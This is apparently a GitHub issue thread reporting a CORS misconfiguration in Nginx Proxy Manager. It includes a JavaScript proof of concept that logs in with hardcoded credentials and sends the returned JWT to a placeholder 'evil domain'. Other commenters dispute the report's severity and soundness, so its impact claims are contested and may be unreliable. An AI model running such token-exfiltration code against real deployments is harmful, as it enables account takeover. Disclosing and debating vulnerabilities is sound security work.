[Security] Critical Token Theft Vulnerability in Nginx Proxy Manager v2.12.3 Leads to ATO via CORS Misconfiguration

[JFOZ1010]

Vulnerability Summary:

A CORS misconfiguration in Nginx Proxy Manager v2.12.3 allows unauthorized domains to access sensitive data, particularly JSON Web Tokens (JWT). This issue arises due to improper validation of the Origin header, allowing malicious third-party websites to intercept sensitive tokens sent by the server, leading to potential account takeover and unauthorized access to sensitive data.

Impact:

This vulnerability allows an attacker to redirect the authentication token to their own server by exploiting the lack of proper CORS validation. This can be done using a simple browser script, which redirects the token from the vulnerable endpoint /api/tokens to a Burp Collaborator server. Once the attacker captures the token, they can use it to perform unauthorized actions within the application, leading to the following potential consequences:

1. Unauthorized access to the application by stealing user tokens.
2. Data leakage, exposing sensitive user data.
3. Service disruption, if the attacker escalates the access.
4. Loss of confidentiality, as attackers can impersonate legitimate users.

Steps to Reproduce:

• POST /api/tokens HTTP/1.1

and we can see how the response returned the the JWT Token with the Access-Control-Allow-Origin: http://r6y0zdqpcyb8hp3qf1fj1rr29tfk3cr1.oastify.com right?

• Exploit (JavaScript script): A simple script can be executed in the browser's console to steal the JWT token and send it to a Burp Collaborator server or Evil Domain:

• The Exploit that i've created is this:

const apiUrl = 'http://localhost:81/api/tokens';
const collaboratorUrl = 'http://BURP-COLLAB.com/'; // Burp Collaborator URL or evil domain

const headers = {
  'Content-Type': 'application/json',
  'Authorization': 'Bearer null',
  'Origin': collaboratorUrl, // Use Burp Collaborator as Origin
  'Referer': 'http://localhost:81/login',
};

const body = {
  "identity": "administrator@prueba.com",
  "secret": "admin123"
};

// Sending the request to get the token
fetch(apiUrl, {
  method: 'POST',
  headers: headers,
  body: JSON.stringify(body),
  credentials: 'include' 
})
.then(response => response.json())
.then(data => {
  // Sending the token to Burp Collaborator
  fetch(collaboratorUrl + '?token=' + encodeURIComponent(data.token))
    .then(() => console.log('Token sent to Burp Collaborator'))
    .catch(err => console.error('Error sending token to Burp:', err));
})
.catch(error => console.error('Request error:', error));

• Token Intercepted: The captured token is sent to the Burp Collaborator server and can be used by the attacker to impersonate the user.

• CORS Vulnerable Endpoints: In addition to /api/tokens, I also discovered similar vulnerabilities in the following endpoints:

• /api/audit-log
• /api/nginx/proxy-hosts
• /api/users

These endpoints could also be exploited in a similar manner due to the misconfiguration.

---

Conclusion: This vulnerability can be exploited by attackers to steal authentication tokens, leading to a potential account takeover. It poses a significant risk to the confidentiality of the application and the security of users' data. Fixing the CORS misconfiguration is critical to mitigate the risk of unauthorized access.

As a best practice, it is strongly recommended to validate the Origin header properly to ensure that only trusted domains are allowed to interact with sensitive APIs.

Best Regards,
Juan Felipe Osorio Z
Security Researcher
LinkedIn • X (Twitter) • Website

[jondycz]

I think I might be missing something. How can this be exploited? You still need the username and password in order to get a JWT token. And the "misconfigured" CORS only makes it that you can fetch the endpoint from a third party domain. In case of brute force attacks, the browser is not needed.

Please share a scenario where this can be a security risk other than executing arbitrary code in the chrome developer console.

[JFOZ1010]

Hello, thanks for your response. I understand your point, but let me explain the real security risk in a more practical way.

The main issue here is that the CORS misconfiguration allows any website to make cross-origin requests to sensitive API endpoints, including /api/tokens. While it's true that you still need valid credentials, the problem arises when an attacker can trick a legitimate user — like an admin — into visiting a malicious page.

To prove this, I created a simple POC using a Python server. I hosted an exploit.html file that contains JavaScript designed to automatically send a request to the vulnerable /api/tokens endpoint and capture the JWT token. When the victim (already authenticated or during login) visits this page, the script runs and silently exfiltrates the token to my server — no manual code execution or DevTools needed, just a normal browser visit.

I recorded a video showing this in action: I start a Python server to receive the stolen token, open the malicious page, and the token is captured instantly. This demonstrates how an attacker can steal tokens and perform account takeover just by luring users to their site.

• Link to the video PoC Google Drive: https://drive.google.com/file/d/19P3eC2I3KcbUO8XFEe3qnvIRyuPQYkLP/view?usp=sharing

While this may seem like a simple issue, the real-world implications are much more serious. Misconfigured CORS policies can lead to a variety of advanced attacks, and this is just one example. It's not just about attackers running code in a console; it's about the potential for external resources to be accepted and manipulated, which opens the door to various attack vectors.

The key takeaway here is the importance of restricting and properly configuring CORS policies to only allow trusted origins. This is crucial in mitigating attacks that could otherwise escalate into much more damaging scenarios.

In summary, the vulnerability is not about weak credentials or the login itself, but rather about a misconfigured CORS policy. It currently allows any external origin to interact with the /api/tokens endpoint. In my exploit, I include known credentials to demonstrate the impact, but the real issue is that the application accepts cross-origin requests from untrusted sites.

Best regards,
Juan Felipe Osorio Z
Security Researcher

[jimkoen]

@jc21
Could you take a look at this?

[jondycz]

The main issue here is that the CORS misconfiguration allows any website to make cross-origin requests to sensitive API endpoints, including /api/tokens. While it's true that you still need valid credentials, the problem arises when an attacker can trick a legitimate user — like an admin — into visiting a malicious page.

You seem to be contradicting yourself. You claim that this "exploit" requires and attacker to know the correct credentials, but on the next line you claim that this takes advantage of an admin logged into the admin console. Even in your demo you showcase a script that has hardcored credentials. If the attacker already knows the password, what's the point of calling the endpoint from client side? I actually see this as a nice way to offer alternative UIs for the app, since other origins can call the API.

Also, third party origins can't call this API with "credentials" meaning if I visit a malicious website example.com that calls this API, any cookies that I might have saved for the NPM API domain are NOT sent during this third party fetch request. Meaning I can not be filtrate the token from a signed in user.

Is this some AI generated crap?

[JFOZ1010]

Hi, yes I know very well that i have credentials in the PoC code, please understand that my purpose is not to demonstrate how i can brute force the credentials, the real purpose is that they have insecure CORS policies known as “Cors Misconfiguration”, and I gave it with a basic/intermediate example (take it as you will) where I show the concept, now a real life attacker is not going to come here for charity, he is going to take days devising a malicious way to damage your App with this little configuration error, but if you really care about security I ask you to take conscience and at least fix the CORS policies, THANK YOU Good day!

Some References pages:

• https://cwe.mitre.org/data/definitions/942.html
• https://www.tenable.com/plugins/was/98983

[tanpro260196]

The maintainer basically never actually check github issue. For serious security issue, please email it directly to him at jc@jc21.com